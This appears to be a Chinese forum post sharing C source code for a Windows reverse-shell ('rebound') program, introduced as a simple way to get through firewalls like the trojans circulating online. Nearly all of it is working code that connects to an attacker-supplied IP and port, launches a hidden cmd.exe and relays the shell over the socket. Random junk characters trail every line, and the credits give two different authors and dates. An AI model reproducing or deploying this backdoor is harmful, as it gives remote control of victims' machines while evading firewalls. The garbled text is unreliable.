这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `>lY$EBG@[
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/* ============================== tZ*>S]qD
Rebound port in Windows NT lACS^(
By wind,2006/7 kn`O3cW/
===============================*/ #&z'?x^a
#include $`lGPi(Jc
#include ]{0OPU
N&(MM.\`^
#pragma comment(lib,"wsock32.lib") H6KBXMYO
%.fwNS
void OutputShell(); 5*Dh#FRp
SOCKET sClient; f Avh!g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _BCq9/
y"K[#&,0
void main(int argc,char **argv) yD0DPtti
{ 'c
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WSADATA stWsaData; zqRps8=
int nRet; o+- 0`!yj
SOCKADDR_IN stSaiClient,stSaiServer; |f$gQI!XW
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if(argc != 3) (I{+%
{ bcAk$tA2
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; |ss4pN0X
} k[*> nE
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WSAStartup(MAKEWORD(2,2),&stWsaData); kp6 &e
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $2Bll 5!]
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stSaiClient.sin_family = AF_INET; 5E}]U,$
stSaiClient.sin_port = htons(0); bJynUZ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); DD[<J:6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w.+G+r=
{ S&Hgr_/}c
printf("Bind Socket Failed!\n"); gTdr
return; h66mzV:`
} _d>{Hz2
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stSaiServer.sin_family = AF_INET; `y{[e j
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `@So6%3Y|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ws$kwSHq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m;U_oxb
{ C[><m2T
printf("Connect Error!"); F8\JL %
return; V~$?]Z %_
} UI~ hB4V$]
OutputShell(); 0])[\O`j
} 8}Q2!,9Q
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void OutputShell() {.Brh"yC
{ I:;umyRH
char szBuff[1024]; ?0:=+%.
SECURITY_ATTRIBUTES stSecurityAttributes; L3s"L.G
OSVERSIONINFO stOsversionInfo; d9 l2mJzW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bu=RU
STARTUPINFO stStartupInfo; D&DbxTi
char *szShell; `1lGAKv
PROCESS_INFORMATION stProcessInformation; uu/2C \n}
unsigned long lBytesRead; Ve xxdg
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \86NV="U
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O]oH}#5b
stSecurityAttributes.lpSecurityDescriptor = 0; N]F}Z#h
stSecurityAttributes.bInheritHandle = TRUE; ku#WQL
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m@",Zr`f=
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HzsQ`M4cA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gIKQip<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HI[Pf%${
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WfYG#!}x
stStartupInfo.wShowWindow = SW_HIDE; N%)q.'M
stStartupInfo.hStdInput = hReadPipe; RP k'1nD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B'b OK`p
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GetVersionEx(&stOsversionInfo); FJn.V1
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switch(stOsversionInfo.dwPlatformId) O-3a U!L
{ @]Ac >&
case 1: 3KtJT&RuL
szShell = "command.com"; oFsV0 {x%)
break; /E:BEm!
default: fT
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szShell = "cmd.exe"; bas1(/|S
break; vdot .
} g|tclBx
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~_wSB[z
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send(sClient,szMsg,77,0); UtRwZ(09
while(1) yI/ FD
{ B`)bo}h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b,>>E^wd!
if(lBytesRead) {HFx+<JG
{ SF da?>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F
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send(sClient,szBuff,lBytesRead,0); W>'(MB$3
} ZX'3qW^D
else `^|l+TJG
{ JoD@e[(
lBytesRead=recv(sClient,szBuff,1024,0); [$#G|> x
if(lBytesRead<=0) break; u-QHV1H`(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6MLjU1
} (k_9<Yb3
} kM(m$Oo.
)4>7X)j>
return; ARG8\qU
}